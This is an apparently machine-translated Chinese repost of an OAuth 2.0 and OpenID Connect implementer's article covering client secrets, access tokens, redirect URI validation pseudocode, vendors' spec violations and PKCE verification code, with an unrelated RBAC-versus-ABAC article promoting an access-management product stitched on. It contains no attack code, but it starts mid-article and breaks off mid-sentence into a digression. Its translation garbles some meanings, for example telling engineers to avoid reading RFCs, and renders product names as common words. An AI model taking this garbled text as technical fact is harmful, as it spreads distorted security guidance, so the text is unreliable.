2年前，我发布了一个问题“应用程序类型（OpenID Connect）是否与客户端类型（OAuth 2.0）对应？”到Stack Overflow，但我无法得到任何答案。所以我自己调查和回答。如果有兴趣请看。

6.3。客户秘密

客户秘密的长度应该是多长时间？
例如，“OpenAM管理指南”使用密码作为客户端机密值的示例。下面是12.4.1的截图。将OpenAM配置为授权服务器和客户端。

似乎OpenAM允许用户使用短字符串作为客户端密钥。
另一方面，在Authlete的实现中，客户端机密自动生成并变得像下面那样长。
GBAyfVL7YWtP6gudLIjbRZV_N0dW4f3xETiIxqtokEAZ6FAsBtgyIq0MpU1uQ7J08xOTO2zwP0OuO3pMVAUTid
这个长度的原因是我想支持512位的对称签名和加密算法。例如，我想支持HS512作为JWS的签名算法。因为客户机密码必须具有512位或更多的熵以支持HS512，所以上述示例的长度是86，这是使用base64url编码512位数据的结果。
关于对称签名和加密算法的熵，OpenID Connect Core 1.0中的16.19对称密钥熵如下所述。
在10.1节和10.2节中，密钥是从client_secret值派生的。因此，当与对称签名或加密操作一起使用时，client_secret值必须包含足够的熵以生成加密强密钥。此外，client_secret值还必须至少包含所使用的特定算法的MAC密钥所需的最小八位字节数。因此，例如，对于HS256，client_secret值必须包含至少32个八位字节（并且几乎可以肯定应该包含更多，因为client_secret值可能使用受限制的字母表）。
并且，3.1。 RFC 7518（JSON Web算法）中的JWS的“alg”（算法）头部参数值指出必须支持HS256（使用SHA-256的HMAC）作为JWS的签名算法。作为合乎逻辑的结果，任何声称符合OpenID Connect的实现都需要生成具有256位或更多熵的客户机密钥。

6.4。签名算法

id_token_signed_response_alg列在“2。 “OpenID Connect动态客户端注册1.0的客户端元数据”。它表示客户端应用程序要求授权服务器用作ID令牌的签名算法的算法。如上所述，有效值列在RFC 7518中，应注意不允许任何值。如果在注册时省略id_token_signed_response_alg的值，则使用RS256。
userinfo_signed_response_alg也是客户端应用程序要求授权服务器使用的签名算法。该算法用于签署从UserI返回的信息

这是偏离主题的，但是为nv-websocket-client（日语信息）创建了一个问题，这是一个用于Java的WebSocket客户端库我在GitHub上向公众开放。问题是一个功能改进的提议，表明当开发人员同时调用setSSLContext（）方法和setSSLSocketFactory（）方法时，库有一个警告机制。之所以提出这个提案，是因为记者对这两种方法的不正当行为感到不安。我的回答是它在JavaDoc中明确写出了当调用这两个方法时哪个设置优先，并且这样的插入检查会使WebSocketFactory类难以使用。然后，反应是“在调用这两种方法之前，先没有详细阅读文档，这是我的错。但是，您认为有多少其他开发人员会在犯同样错误之前先详细阅读文档？“
哦，如果开发人员由于他/她没有阅读文件的原因而浪费时间在自制错误上，这只是一个当之无愧的惩罚......
帮助那些不阅读文件的人的试验将是无止境的。即使库阻止了alg = none的签名，这些工程师也会毫不犹豫地将私钥包含在通过授权服务器的JWK Set端点发布的JWK集中。为什么？你认为那些不读文件的人可以注意到JWKSet类的toPublicJWKSet（）方法的存在（在Nimbus JOSE + JWT库中）并理解方法的含义吗？可能，他们天真地说，“是的，我可以创建一个JWKSet类的实例。我们发布吧！我已经完成了JWK Set端点的实现！“
不参考RFC等主要来源的工程师无法发现他们找到的答案中的错误，并毫无疑问地相信答案。但是，工程师必须避免阅读RFC以成为真正的工程师。
要成为真正的工程师，请不要避免阅读RFC。只搜索技术博客和Stack Overflow寻找答案永远不会把你带到正确的地方。

6.5。 Client Application Developer

一些开源授权服务器提供了一种机制，可以动态注册客户端应用程序，如HTML表单（ForgeRock的OpenAM）和Web API（MITRE的MITREid Connect）。但是，似乎只有授权服务器的管理员才能注册客户端应用程序。但是，理想的方法是创建类似于Twitter的应用程序管理控制台，让开发人员登录，并提供一个环境，让每个开发人员都可以注册和管理他/她自己的客户端应用程序。为此，客户端应用程序的数据库表应该有一个包含开发人员唯一标识符的列。
它经常被遗忘，因为实现授权服务器本身很麻烦，但是还需要提供管理客户端应用程序的机制，以便向公众开放Web API。如果Web API的预期用户仅限于封闭组，则授权服务器的管理员可以在每次请求他/她时注册客户端应用程序。事实上，有一家公司的管理员为每个注册请求手动键入SQL语句。但是，如果要向公众开放Web API，此类操作将无法运行，您将意识到必须为客户端应用程序提供合适的管理控制台。如果您成功确保了开发授权服务器和Web API的预算，但忘记了为客户端应用程序确保管理控制台的预算，则会导致“已实现Web API但无法向公众开放”。
作为此类管理控制台的示例，Authlete为上述用例提供了开发者控制台。 Authlete本身不管理开发人员帐户，但通过名为“开发人员身份验证回调”的机制，其帐户由Authlete客户管理的开发人员可以使用开发人员控制台。因此，Authlete客户不必为客户端应用程序开发管理控制台。

7.访问令牌

7.1。访问令牌表示

如何表示访问令牌？有两种主要方式。
作为无意义的随机字符串。与访问令牌相关联的信息存储在授权服务器后面的数据库表中。
作为一个自包含的字符串，它是通过base64url或类似的东西对访问令牌信息进行编码的结果。
在这些方式之间进行选择将导致后续差异，如下表所述。

如果访问令牌是随机字符串，则每次都需要查询授权服务器以获取有关访问令牌的信息。相反，如果访问令牌本身包含信息，则无需查询授权服务器。这使得自包含样式听起来更好，但是因为必须对授权服务器进行查询以检查访问令牌是否已被撤销，即使采用自包含样式，在任何情况下，网络通信也是如此。每次客户端应用程序呈现访问令牌时都需要。
自包含样式中的繁琐之处在于，每次请求访问令牌撤销时，我们必须添加表示“已撤销”的记录，并且必须保留此类记录，直到访问令牌到期为止。否则，如果删除了记录，则撤销的访问令牌将被复活并再次生效（如果尚未达到原始到期日期）。
相反，在随机字符串样式的情况下，可以简单地通过删除访问令牌记录本身来实现访问令牌撤销。因此，由于任何意外，撤销访问令牌无法复活。此外，不会发生在独立风格中观察到的负面影响“撤销增加记录”。
要启用访问令牌吊销，即使在自包含样式的情况下，也必须为访问令牌分配唯一标识符。否则，无法分辨哪个访问令牌已被撤销。换句话说，授权服务器采用自包含样式但不为访问令牌分配唯一标识符是授权服务器，它不能撤销访问令牌。它可能是实现策略之一，但是这样的授权服务器不应该发出长期访问令牌，也不应该发出刷新令牌。
“无法撤销访问令牌的授权服务器？！”，您可能想知道。但是，这种授权确实存在。某个全球大型系统集成商收购了一家公司，并正在使用被收购公司的产品开发授权服务器，但在后期阶段，系统集成商及其客户注意到授权服务器无法撤销访问令牌。当我听到这个故事时，我猜想授权服务器会发出没有唯一标识符的自包含样式的访问令牌。
自包含的样式看起来很好，因为有一些优点，例如“无需查询授权服务器来提取访问令牌的信息”和“无需在授权服务器端维护访问令牌记录”，但是当你考虑访问令牌撤销，有讨论的余地。

7.2。访问令牌删除

为防止数据库无限增长，应定期从数据库中删除过期的访问令牌。
请求授权服务器不必要地发出访问令牌的客户端应用程序是麻烦制造者。虽然他们已经有一个尚未过期的访问令牌，但他们会重复丢弃这样一个有效的访问令牌并请求新的令牌。如果发生这种情况，则会在数据库中累积未使用但无法删除的访问令牌（因为它们尚未过期）。
要防止出现这种情况，请将访问令牌最后一次使用的时间戳保存到数据库中，以及访问令牌到期的时间戳，并定期运行程序，以便长时间删除未使用的访问令牌。当然，它取决于服务的特性是否可以在未过期时删除未使用的访问令牌。
在此之前，我遇到了一位工程师，他在某个大公司的OAuth实施项目中工作，而他却属于该公司。他告诉我，系统的构建没有考虑访问令牌的删除，因此系统的数据库可能拥有数以亿计的访问令牌。吓人，可怕。当开发生成某个东西的系统时，应该同时考虑删除生成的东西的时间。

8.重定向URI

8.1。重定向URI验证

2014年5月，获博士学位。新加坡的学生发表了一篇文章，它引起了人们对“OAuth中的漏洞？”的讨论，这是一个关于所谓的Covert Redirect的问题。那些正确理解OAuth 2.0的人很快意识到这不是由于规范中的漏洞而是由于不正确的实现。然而，该主题让很多人感到不安，OAuth领域的专家无法帮助编写解释性文档。约翰布拉德利先生的“隐蔽重定向及其对OAuth和OpenID Connect的真正影响”就是其中一个文件。
如果未正确处理重定向URI，则会出现安全问题。相关规范中描述了如何处理重定向URI，但很难正确实现它，因为有许多事情要关注，例如，（a）RFC 6749的要求和OpenID Connect的要求是不同的（b） ）必须考虑客户端应用程序的application_type属性的值。
如何正确处理重定向URI的部分取决于实现者如何仔细和详尽地阅读相关规范。因此，读取部件的实现代码可以很好地猜测整个授权服务器的实现质量。所以，每个人都尽最大努力实施它！
......如果我冷冷地抛弃了你，到目前为止我读过我的长篇文章，我会感到很遗憾，所以我向你展示了Authlete的实施诀窍。以下是处理授权请求中包含的redirect_uri参数的伪代码。请注意，伪代码不必分解为可浏览性的方法，但在实际的Authlete实现中，代码流很好地分解为方法。因此，出于性能目的，实际代码流与伪代码不同。 （如果实际的实现包含如此多的嵌套if和for伪像，那将是一种耻辱。）

// Extract the value of the 'redirect_uri' parameter from
// the authorization request.
redirectUri = ...
// Remember whether a redirect URI was explicitly given.
// It must be checked later in the implementation of the
// token endpoint because RFC 6749 states as follows.
//
//   redirect_uri
//      REQUIRED, if the "redirect_uri" parameter was
//      included in the authorization request as described
//      in Section 4.1.1, and their values MUST be identical.
//
explicit = (redirectUri != null);
// Extract registered redirect URIs from the database.
registeredRedirectUris = ...
// Requirements by RFC 6749 (OAuth 2.0) and those by
// OpenID Connect are different. Therefore, the code flow
// branches according to whether the request is an OpenID
// Connect request or not. This is judged by whether the
// 'scope' request parameter contains 'openid' as a value.
if ( 'openid' is included in 'scope' )
{
    // Check requirements by OpenID Connect.
    // If the 'redirect_uri' is not contained in the request.
    if ( redirectUri == null )
    {
        // The 'redirect_uri' parameter is mandatory in
        // OpenID Connect. It's optional in RFC 6749.
        throw new Exception(
            "The 'redirect_uri' parameter is missing.");
    }
    // For each registered redirect URI.
    for ( registeredRedirectUri : registeredRedirectUris )
    {
        // 'Simple String Comparison' is required by the
        // specification.
        if ( registeredRedirectUri.equals( redirectUri ) )
        {
            // OK. The redirect URI specified by the
            // authorization request is registered.
            registered = true;
            break;
        }
    }
    // If the redirect URI specified by the authorization
    // request matches none of the registered redirect URIs.
    if ( registered == false )
    {
        throw new Exception(
            "The redirect URI is not registered.");
    }
}
else
{
    // Check requirements by RFC 6749.
    // If redirect URIs are not registered at all.
    if ( registeredRedirectUris.size() == 0 )
    {
        // RFC 6749, 3.1.2.2. Registration Requirements says
        // as follows:
        //
        //   The authorization server MUST require the
        //   following clients to register their
        //   redirection endpoint:
        //
        //     o Public clients.
        //     o Confidential clients utilizing the
        //       implicit grant type.
        // If the type of the client application which made
        // the authorization request is 'public'.
        if ( client.getClientType() == PUBLIC )
        {
            throw new Exception(
                "A redirect URI must be registered.");
        }
        // If the client type is 'confidential' and if the
        // authorization flow is 'Implicit Flow'. If the
        // 'response_type' request parameter contains either
        // or both of 'token' and 'id_token', the flow should
        // be treated as a kind of 'Implicit Flow'.
        else if ( responseType.requiresImplicitFlow() )
        {
            throw new Exception(
                "A redirect URI must be registered.");
        }
    }
    // If the authorization request does not contain the
    // 'redirect_uri' request parameter.
    if ( redirectUri == null )
    {
        // If redirect URIs are not registered at all,
        // or if multiple redirect URIs are registered.
        if ( registeredRedirectUris.size() != 1 )
        {
            // A redirect URI must be explicitly specified
            // by the 'redirect_uri' parameter.
            throw new Exception(
                "The 'redirect_uri' parameter is missing.");
        }
        // One redirect URI is registered. Use it as the
        // default value of redirect URI.
        redirectUri = registeredRedirectUris[0];
    }
    // The authorization request contains the 'redirect_uri'
    // parameter, but redirect URIs are not registered.
    else if ( registeredRedirectUris.size() == 0 )
    {
        // The code flow reaches here if and only if the
        // client type is 'confidential' and the authorization
        // flow is not 'Implicit Flow'. In this case, the
        // redirect URI specified by the 'redirect_uri'
        // parameter of the authorization request is used
        // although it is not registered. However,
        // requirements written in RFC 6749, 3.1.2.
        // Redirection Endpoint are checked.
        // If the specified redirect URI is not an absolute one.
        if ( redirectUri.isAbsolute() == false )
        {
            throw new Exception(
                "The 'redirect_uri' is not an absolute URI.");
        }
        // If the specified redirect URI has a fragment part.
        if ( redirectUri.getFragment() != null )
        {
            throw new Exception(
                "The 'redirect_uri' has a fragment part.");
        }
    }
    else
    {
        // If the specified redirect URI is not an absolute one.
        if ( redirectUri.isAbsolute() == false )
        {
            throw new Exception(
                "The 'redirect_uri' is not an absolute URI.");
        }
        // If the specified redirect URI has a fragment part.
        if ( redirectUri.getFragment() != null )
        {
            throw new Exception(
                "The 'redirect_uri' has a fragment part.");
        }
        // For each registered redirect URI.
        for (registeredRedirectUri : registeredRedirectUris )
        {
            // If the registered redirect URI is a full URI.
            if ( registeredRedirectUri.getQuery() != null )
            {
                // 'Simple String Comparison'
                if ( registeredRedirectUri.equals( redirectUri ) )
                {
                    // The specified redirect URI is registered.
                    registered = true;
                    break;
                }
                // This registered redirect URI does not match.
                continue;
            }
            // Compare the scheme parts.
            if ( registeredRedirectUri.getScheme().equals(
                     redirectUri.getScheme() ) == false )
            {
                // This registered redirect URI does not match.
                continue;
            }
            // Compare the user information parts. Here I use
            // an imaginary method 'equalsSafely()' because
            // the code would become too long if I inlined it.
            // The method compares arguments without throwing
            // any exception even if either or both of the
            // arguments are null.
            if ( equalsSafely(
                     registeredRedirectUri.getUserInfo(),
                         redirectUri.getUserInfo() ) == false )
            {
                // This registered redirect URI does not match.
                continue;
            }
            // Compare the host parts. Ignore case sensitivity.
            if ( registeredRedirectUri.getHost().equalsIgnoreCase(
                     redirectUri.getHost() ) == false )
            {
                // This registered redirect URI does not match.
                continue;
            }
            // Compare the port parts. Here I use an imaginary
            // method 'getPortOrDefaultPort()' because the
            // code would become too long if I inlined it. The
            // method returns the default port number of the
            // scheme when 'getPort()' returns -1. The last
            // resort is 'URI.toURL().getDefaultPort()'. -1 is
            // returned If 'getDefaultPort()' throws an exception.
            if ( getPortOrDefaultPort( registeredRedirectUri ) !=
                 getPortOrDefaultPort( redirectUri ) )
            {
                // This registered redirect URI does not match.
                continue;
            }
            // Compare the path parts. Here I use the imaginary
            // method 'equalsSafely()' again.
            if ( equalsSafely( registeredRedirectUri.getPath(),
                     redirectUri.getPath() ) == false )
            {
                // This registered redirect URI does not match.
                continue;
            }
            // The specified redirect URI is registered.
            registered = true;
            break;
        }
        // If none of the registered redirect URI matches.
        if ( registered == false )
        {
            throw new Exception(
                "The redirect URI is not registered.");
        }
    }
}
// Check requirements by the 'application_type' of the client.// If the value of the 'application_type' attribute is 'web'.
if ( client.getApplicationType() == WEB )
{
    // If the authorization flow is 'Implicit Flow'. When the
    // 'response_type' request parameter of the authorization
    // request contains either or both of 'token' and 'id_token',
    // it should be treated as a kind of 'Implicit Flow'.
    if ( responseType.requiresImplicitFlow() )
    {
        // If the scheme of the redirect URI is not 'https'.
        if ( "https".equals( redirectUri.getScheme() ) == false )
        {
            // The scheme part of the redirect URI must be 
            // 'https' when a client application whose
            // 'application_type' is 'web' uses 'Implicit Flow'.
            throw new Exception(
                "The scheme of the redirect URI is not 'https'.");
        }
        // If the host of the redirect URI is 'localhost'.
        if ( "localhost".equals( redirectUri.getHost() ) )
        {
            // The host of the redirect URI must not be
            // 'localhost' when a client application whose
            // 'application_type' is 'web' uses 'Implicit Flow'.
            throw new Exception(
                "The host of the redirect URI is 'localhost'.");
        }
    }
}
// If the value of the 'application_type' attribute is 'native'.
else if ( client.getApplicationType() == NATIVE )
{
    // If the scheme of the redirect URI is 'https'.
    if ( "https".equals( redirectUri.getScheme() ) )
    {
        // The scheme of the redirect URI must not be 'https'
        // when the 'application_type' of the client is 'native'.
        throw new Exception(
            "The scheme of the redirect URI is 'https'.");
    }
    // If the scheme of the redirect URI is 'http'.
    if ( "http".equals( redirectUri.getScheme() ) )
    {
        // If the host of the redirect URI is not 'localhost'.
        if ( "localhost".equals(
                 redirectUri.getHost() ) == false )
        {
            // When a client application whose 'application_type'
            // is 'native' uses a redirect URI whose scheme is
            // 'http', the host port of the URI must be
            // 'localhost'.
            throw new Exception(
              "The host of the redirect URI is not 'localhost'.");
        }
    }
}
// If the value of the 'application_type' attribute is neither
// 'web' or 'native'.
else
{
    // As mentioned above, Authlete allows 'unspecified' as a
    // value of the 'application_type' attribute. Therefore,
    // no exception is thrown here.
}

 

8.2。其他的实施

在OpenID Connect中，redirect_uri参数是必需的，关于如何检查呈现的重定向URI是否已注册的要求只是“简单字符串比较”。因此，如果您需要关注的只是OpenID Connect，那么实现将非常简单。例如，在2016年10月在GitHub上赢得大约1,700颗星并且已通过OpenID认证计划认证的IdentityServer3中，检查重定向URI的实现如下（摘自DefaultRedirectUriValidator.cs以及其他格式化新行）。

public virtual Task<bool> IsRedirectUriValidAsync(
string requestedUri, Client client)
{
return Task.FromResult(
StringCollectionContainsString(
client.RedirectUris, requestedUri));
}

OpenID Connect只关心手段，换句话说，授权服务器不接受传统授权代码流和范围请求参数中不包含openid的隐式流。也就是说，这样的授权服务器无法响应任何现有的OAuth 2.0客户端应用程序。
那么，IdentityServer3是否拒绝传统的授权请求？看看AuthorizeRequestValidator.cs，你会发现这个（格式化已经调整）：

if (request.RequestedScopes.Contains(
Constants.StandardScopes.OpenId))
{
request.IsOpenIdRequest = true;
}
//////////////////////////////////////////////////////////
// check scope vs response_type plausability
//////////////////////////////////////////////////////////
var requirement =
Constants.ResponseTypeToScopeRequirement[request.ResponseType];
if (requirement == Constants.ScopeRequirement.Identity
requirement == Constants.ScopeRequirement.IdentityOnly)
{
if (request.IsOpenIdRequest == false)
{
LogError("response_type requires the openid scope", request);
return Invalid(request, ErrorTypes.Client);
}
}

您无需了解此代码的详细信息。关键是有一些路径允许在scope参数中不包含openid的情况。也就是说，接受传统的授权请求。如果是这样，IdentityServer3的实现是不正确的。但是，另一方面，在AuthorizeRequestValidator.cs中的另一个位置，实现拒绝所有不包含redirect_uri参数的授权请求，如下所示（格式化已调整）。

//////////////////////////////////////////////////////////
// redirect_uri must be present, and a valid uri
//////////////////////////////////////////////////////////
var redirectUri = request.Raw.Get(Constants.AuthorizeRequest.RedirectUri);
if (redirectUri.IsMissingOrTooLong(
_options.InputLengthRestrictions.RedirectUri))
{
LogError("redirect_uri is missing or too long", request);
return Invalid(request);
}

因此，实现不必关心省略redirect_uri参数的情况。但是，因为redirect_uri参数在RFC 6749中是可选的，所以行为 - 没有redirect_uri参数的授权请求被无条件拒绝，尽管传统的授权请求被接受 - 违反了规范。此外，IdentityServer3不会对application_type属性进行验证。要实现验证，作为第一步，必须将application_type属性的属性添加到表示客户端应用程序（Client.cs）的模型类中，因为当前实现错过了它。

9.违反规范

细微违反规范的行为有时被称为“方言”。 “方言”一词可能给人一种“可接受”的印象，但违法行为是违法行为。如果没有方言，则为每种计算机语言提供一个通用OAuth 2.0 / OpenID Connect库就足够了。但是，在现实世界中，违反规范的授权服务器需要自定义客户端库。
Facebook的OAuth流程需要其自定义客户端库的原因是Facebook的OAuth实现中存在许多违反规范的行为。例如，（1）逗号用作范围列表的分隔符（它应该是空格），（2）来自令牌端点的响应的格式是application / x-www-form-urlencoded（它应该是JSON） ，以及（3）访问令牌的到期日期参数的名称是过期的（应该是expires_in）。
Facebook和其他大牌公司不仅违反了规范。以下是其他示例。

9.1。范围清单的分隔符

范围名称列在授权端点和令牌端点的请求的范围参数中。 RFC 6749,3.3。访问令牌范围要求将空格用作分隔符，但以下OAuth实现使用逗号：

• Facebook
• GitHub
• Spotify
• Discus
• Todoist

9.2 令牌端点的响应格式

RFC 6749,5.1。成功响应要求来自令牌端点的成功响应的格式为JSON，但以下OAuth实现使用application / x-www-form-urlencoded：

• Facebook
• Bitly
• GitHub

默认格式为application / x-www-form-urlencoded，但GitHub提供了一种请求JSON的方法。

9.3 来自令牌端点的响应中的token_type

RFC 6749,5.1。成功响应要求token_type参数包含在来自令牌端点的成功响应中，但以下OAuth实现不包含它：
松弛
Salesforce也遇到过这个问题（OAuth访问令牌响应丢失token_type），但它已被修复。

9.4 token_type不一致

以下OAuth实现声称令牌类型为“Bearer”，但其资源端点不接受通过RFC 6750（OAuth 2.0授权框架：承载令牌使用）中定义的方式访问令牌：
GitHub（它通过授权格式接受访问令牌：令牌OAUTH-TOKEN）

9.5 grant_type不是必需的

grant_type参数在令牌端点是必需的，但以下OAuth实现不需要它：

• GitHub
• Slack
• Todoist

9.6 错误参数的非官方值

规范已为错误参数定义了一些值，这些值包含在授权服务器的错误响应中，但以下OAuth实现定义了自己的值：
GitHub（例如application_suspended）
Todoist（例如bad_authorization_code）

9.7。错误时参数名称错误

以下OAuth实现在返回错误代码时使用errorCode而不是error：
线

10.代码交换的证明密钥

10.1。 PKCE是必须的

你知道PKCE吗？它是一个定义为RFC 7636（OAuth公共客户端的代码交换证明密钥）的规范，于2015年9月发布。它是针对授权代码拦截攻击的对策。

攻击成功需要一些条件，但如果您考虑发布智能手机应用程序，强烈建议客户端应用程序和授权服务器都支持PKCE。否则，恶意应用程序可能拦截授权服务器发出的授权代码，并将其与授权服务器的令牌端点处的有效访问令牌交换。
在2012年10月发布了RFC 6749（OAuth 2.0授权框架），因此即使熟悉OAuth 2.0的开发人员也可能不知道2015年9月最近发布的RFC 7636。但是，应该注意的是“OAuth 2.0 for Native Apps”草案表明，在某些情况下，它的支持是必须的。
客户端和授权服务器都必须支持PKCE [RFC7636]使用自定义URI方案或环回IP重定向。授权服务器应该使用自定义方案拒绝授权请求，或者如果不存在所需的PKCE参数，则将环回IP作为重定向URI的一部分，返回PKCE [RFC7636]第4.4.1节中定义的错误消息。建议将PKCE [RFC7636]用于应用程序声明的HTTPS重定向URI，即使这些URI通常不会被拦截，以防止对应用程序间通信的攻击。
支持RFC 7636的授权服务器的授权端点接受两个请求参数：code_challenge和code_challenge_method，令牌端点接受code_verifier。并且在令牌端点的实现中，授权服务器使用（a）客户端应用程序呈现的代码验证器和（b）客户端应用程序在授权端点处指定的代码质询方法来计算代码质询的值。如果计算的代码质询和客户端应用程序在授权端点处呈现的code_challenge参数的值相等，则可以说发出授权请求的实体和发出令牌请求的实体是相同的。因此，授权服务器可以避免向恶意应用程序发出访问令牌，该恶意应用程序与发出授权请求的实体不同。

RFC 7636的整个流程在Authlete的网站上进行了说明：代码交换的证明密钥（RFC 7636）。如果您有兴趣，请阅读。

10.2 服务器端实现

在授权端点的实现中，授权服务器必须做的是将授权请求中包含的code_challenge参数和code_challenge_method参数的值保存到数据库中。因此，实现代码中没有任何有趣的内容。需要注意的是，想要支持PKCE的授权服务器必须将code_challenge和code_challenge_method的列添加到存储授权码的数据库表中。
Authlete的完整源代码是保密的，但是为了您的兴趣，我在这里向您展示了实际的Authlete实现，它验证了令牌端点处code_verifier参数的值。

private void validatePKCE(AuthorizationCodeEntity acEntity)
{
// See RFC 7636 (Proof Key for Code Exchange) for details.
// Get the value of 'code_challenge' which was contained in
// the authorization request.
String challenge = acEntity.getCodeChallenge();
if (challenge == null)
{
// The authorization request did not contain
// 'code_challenge'.
return;
}
// If the authorization request contained 'code_challenge',
// the token request must contain 'code_verifier'. Extract
// the value of 'code_verifier' from the token request.
String verifier = extractFromParameters(
"code_verifier", invalid_grant, A050312, A050313, A050314);
// Compute the challenge using the verifier
String computedChallenge = computeChallenge(acEntity, verifier);
if (challenge.equals(computedChallenge))
{
// OK. The presented code_verifier is valid.
return;
}
// The code challenge value computed with 'code_verifier'
// is different from 'code_challenge' contained in the
// authorization request.
throw toException(invalid_grant, A050315);
}
private String computeChallenge(
AuthorizationCodeEntity acEntity, String verifier)
{
CodeChallengeMethod method = acEntity.getCodeChallengeMethod();
// This should not happen, but just in case.
if (method == null)
{
// Use 'plain' as the default value required by RFC 7636.
method = CodeChallengeMethod.PLAIN;
}
switch (method)
{
case PLAIN:
// code_verifier
return verifier;
case S256:
// BASE64URL-ENCODE(SHA256(ASCII(code_verifier)))
return computeChallengeS256(verifier);
default:
// The value of code_challenge_method extracted
// from the database is not supported.
throw toException(server_error, A050102);
}
}
private String computeChallengeS256(String verifier)
{
// BASE64URL-ENCODE(SHA256(ASCII(code_verifier)))
// SHA256
byte[] hash =
Digest.getInstanceSHA256().update(verifier).digest();
// BASE64URL
return SecurityUtils.encode(hash);
}

用于实现computeChallengeS256（String）方法的Digest类包含在我的开源库nv-digest中。它是一个实用程序库，可以轻松进行摘要计算。使用此库，计算SHA-256摘要值可以写成一行，如下所示。

byte[] hash = Digest.getInstanceSHA256().update(verifier).digest();

10.3。客户端实施

客户端应用程序必须为PKCE做些什么。一种是生成一个由43-128个字母组成的随机码验证器，使用代码验证器和代码质询方法（plain或S256）计算代码质询，并包括计算出的代码质询和代码质询方法作为值授权请求中的code_challenge参数和code_challenge_method参数。另一种是在令牌请求中包含代码验证器。
作为客户端实现的示例，我将介绍以下两个。

1. AppAuth for Android
2. AppAuth for iOS

它们是用于与OAuth 2.0和OpenID Connect服务器通信的SDK。他们声称他们包括最佳实践并支持PKCE。
如果为code_challenge_method = S256实现计算逻辑，则可以通过在代码验证器的值为dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk时检查代码质询的值是否变为E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM来测试它。这些值在RFC 7636的“附录B. S256 code_challenge_method的示例”中作为示例值找到。

11.最后

有些人可能会说实施OAuth和OpenID Connect很容易，其他人可能会说不是。在任何一种情况下，事实上，即使是拥有足够预算和人力资源的Facebook和GitHub等大型科技公司也未能正确实施OAuth和OpenID Connect。着名的开源项目如Apache Oltu和Spring Security也存在问题。因此，如果您自己实施OAuth和OpenID Connect，请认真对待并准备一个体面的开发团队。否则，安全风险将会增加。
仅仅实现RFC 6749并不困难，但是从头开始实施OpenID Connect会让您发疯。因此，建议使用现有实现作为起点。第一步是在OpenID Connect网站中搜索与OAuth和OpenID Connect相关的软件的“库，产品和工具”页面（尽管未列出Authlete）。当然，作为Authlete，Inc。的联合创始人，如果您选择Authlete，我将很高兴。
感谢您阅读这篇长篇文章。

原文：https://medium.com/@darutk/full-scratch-implementor-of-oauth-and-openid-connect-talks-about-findings-55015f36d1c3

本文：http://pub.intelligentx.net/node/510

讨论：请加入知识星球或者小红圈【首席架构师圈】

在任何公司，网络用户必须经过身份验证和授权，才能访问系统中可能导致安全漏洞的部分。获得授权的过程称为访问控制。在本指南中，我讨论了管理系统访问控制的两种主要方法：基于角色的访问控制（RBAC）和基于属性的访问控制。我还回顾了SolarWinds®访问权限管理器，它是我的首选解决方案，可帮助团队更轻松地监控整个组织的访问控制。

• 身份验证和授权
• 基于角色访问控制（RBAC）与基于属性访问控制（ABAC）
  • 什么是RBAC？
  • 什么是ABAC？
  • RBAC与ABAC
• 最佳访问管理工具
• 如何选择访问控制解决方案

身份验证和授权

安全的两个基本方面是身份验证和授权。输入凭据以登录计算机或登录应用程序或软件后，设备或应用程序将进行身份验证以确定您的授权级别。授权可能包括您可以使用哪些帐户、您可以访问哪些资源以及您可以执行哪些功能。

基于角色访问控制（RBAC）与基于属性访问控制（ABAC）

基于角色访问控制（RBAC）和基于属性访问控制（ABAC）是控制身份验证过程和授权用户的两种方式。RBAC和ABAC的主要区别是RBAC基于用户角色提供对资源或信息的访问，而ABAC基于用户、环境或资源属性提供访问权限。本质上，当考虑RBAC与ABAC时，RBAC控制整个组织的广泛访问，而ABAC采用细粒度方法。

什么是RBAC？

RBAC是基于角色的，因此根据您在组织中的角色，您将拥有不同的访问权限。这由管理员决定，管理员设置角色应具有的访问权限的参数，以及分配给哪些用户的角色。例如，某些用户可能被分配到一个角色，在该角色中，他们可以编写和编辑特定文件，而其他用户可能被限制为只能阅读文件，但不能编辑文件。

一个用户可以被分配多个角色，从而可以访问许多不同的文件或功能。假设有一个团队在一个大型项目上工作。项目经理可以访问所有文件，并可以编辑和更改项目中的内容。然而，开发团队可能只能访问编程文件，无法查看或编辑项目的财务信息或员工详细信息。另一方面，人力资源或管理团队可能可以访问所有员工和财务信息，但不能使用编程文件。

组织可能会将RBAC用于此类项目，因为使用RBAC，不需要在每次人员离开组织或更改工作时更改策略：只需将其从角色组中删除或分配给新角色即可。这也意味着新员工可以相对快速地获得访问权限，这取决于他们履行的组织角色。

什么是ABAC？

基于属性的访问控制利用了一组称为“属性”的特性。这包括用户属性、环境属性和资源属性。

• 用户属性包括用户名、角色、组织、ID和安全许可等内容。
• 环境属性包括访问时间、数据位置和当前组织威胁级别。
• 资源属性包括创建日期、资源所有者、文件名和数据敏感性。

本质上，ABAC具有比RBAC多得多的可能控制变量。ABAC的实现是为了减少未经授权的访问带来的风险，因为它可以在更细粒度的基础上控制安全和访问。例如，ABAC可以对其访问设置进一步的限制，例如只允许在特定时间或与相关员工相关的特定分支机构访问，而不是让HR角色的人员始终能够访问员工和工资信息。这可以减少安全问题，也有助于以后的审核过程。

RBAC与ABAC

通常，如果RBAC足够了，您应该在设置ABAC访问控制之前使用它。这两个访问控制过程都是过滤器，ABAC是这两个过程中比较复杂的，需要更多的处理能力和时间。如果你不需要它，那么使用这个更强大的过滤器并承担相应的资源成本是没有意义的。

无论如何，使用最少数量的RBAC和ABAC过滤器来构建访问和安全环境都很重要。它可以帮助您仔细规划目录数据和访问方法，以确保您没有使用不必要的过滤器或使事情过于复杂。在许多情况下，RBAC和ABAC可以分层使用，RBAC协议实施广泛访问，ABAC管理更复杂的访问。这意味着系统将首先使用RBAC来确定谁有权访问资源，然后使用ABAC来确定他们可以使用资源做什么以及何时可以访问资源。

最佳访问管理工具

无论您使用RBAC还是ABAC，或者两者的组合，我强烈建议您使用访问权限管理工具。一个好的工具可以简化设置并减少设置和管理筛选器所涉及的管理开销。我选择的是Access Rights Manager，这是一个高质量的工具，专门用于管理和审核整个IT基础架构的访问权限。

Access Rights Manager包括一个用户管理系统，用于监视、分析和报告Active Directory和组策略，并可以向您显示所做的更改、更改者和更改时间，这有助于您最大限度地减少内部威胁的可能性。它包括旨在帮助您实施特定于角色的安全性以及用户帐户的设置和取消设置的模板。您可以在一个简单的过程中顺利地委派对文件、文件夹或资源的访问，以减少管理开销。

如何选择访问控制解决方案

